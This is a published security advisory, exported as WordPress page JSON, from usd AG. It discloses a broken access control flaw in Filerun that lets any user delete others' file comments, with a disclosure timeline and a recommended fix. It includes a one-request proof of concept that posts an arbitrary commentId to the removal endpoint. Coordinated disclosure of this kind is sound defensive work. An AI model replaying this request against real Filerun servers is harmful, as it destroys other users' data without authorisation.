{"id":19010,"date":"2022-10-31T14:03:27","date_gmt":"2022-10-31T13:03:27","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2022-0010\/"},"modified":"2022-11-03T15:59:19","modified_gmt":"2022-11-03T14:59:19","slug":"usd-2022-0010","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0010\/","title":{"rendered":"usd-2022-0010"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.18.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1><\/h1>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h1>usd-2022-0010 | Broken Access Control in Filerun (Update 20220202)<\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0010<br \/><strong>Product<\/strong>: Filerun<br \/><strong>Affected Version<\/strong>: &lt;= Update 20220202<br \/><strong>Vulnerability Type<\/strong>: <a>https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/filerun.com<br \/><\/a><strong>Vendor acknowledged vulnerability<span>:<\/span><\/strong> Yes<strong><br \/>Vendor Status<\/strong>: Fixed<\/p>\n<h3>Introduction<\/h3>\n<p>Filerun allows users to place comments on their uploaded files. Due to improper access control comments on files can be deleted by any user.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>In the following, an exemplary request to delete a comment is given:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/?module=comments&amp;section=ajax&amp;page=remove<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">115<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">FileRunSID=[REDACTED]<\/span>\n<span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p>commentId=4&amp;path=%2FROOT%2FHOME%2Fexample.txt&amp;csrf=[REDACTED]<\/p>\n<\/div>\n<p><span style=\"font-size: 16px\"><br \/>By setting the parameter <\/span><strong style=\"font-size: 16px\">commentId<\/strong><span style=\"font-size: 16px\"> a user can delete any comment, even if it is not owned by the user.<\/span><\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to restrict access to sensitive functions or information by default. Required access privileges should be granted explicitly by a global access control mechanism. Only allow required users to remove comments (e.g. file owner, shared users).<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/cwe.mitre.org\/data\/definitions\/284.html<br \/><\/a><\/li>\n<li><a href=\"https:\/\/filerun.com\/changelog\" target=\"_blank\" rel=\"noopener\">https:\/\/filerun.com\/changelog<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-04-22<\/strong>: Vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong>2022-04-25<\/strong>: First contact request via info@filerun.com<\/li>\n<li><strong>2022-04-29<\/strong>: Vulnerability details submitted to Vendor<\/li>\n<li><strong>2022-05-10<\/strong>: Fixed by Vendor<\/li>\n<li><strong>2022-10-31<\/strong>:<span>\u00a0<\/span><span>This advisory is published<\/span><\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; &nbsp; usd-2022-0010 | Broken Access Control in Filerun (Update 20220202) Advisory ID: usd-2022-0010Product: FilerunAffected Version: &lt;= Update 20220202Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/284.htmlSecurity Risk: MediumVendor URL: https:\/\/filerun.comVendor acknowledged vulnerability: YesVendor Status: Fixed Introduction Filerun allows users to place comments on their uploaded files. Due to improper access control comments on files can be deleted by any user. [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19010","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19010","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19010"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19010\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19010"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}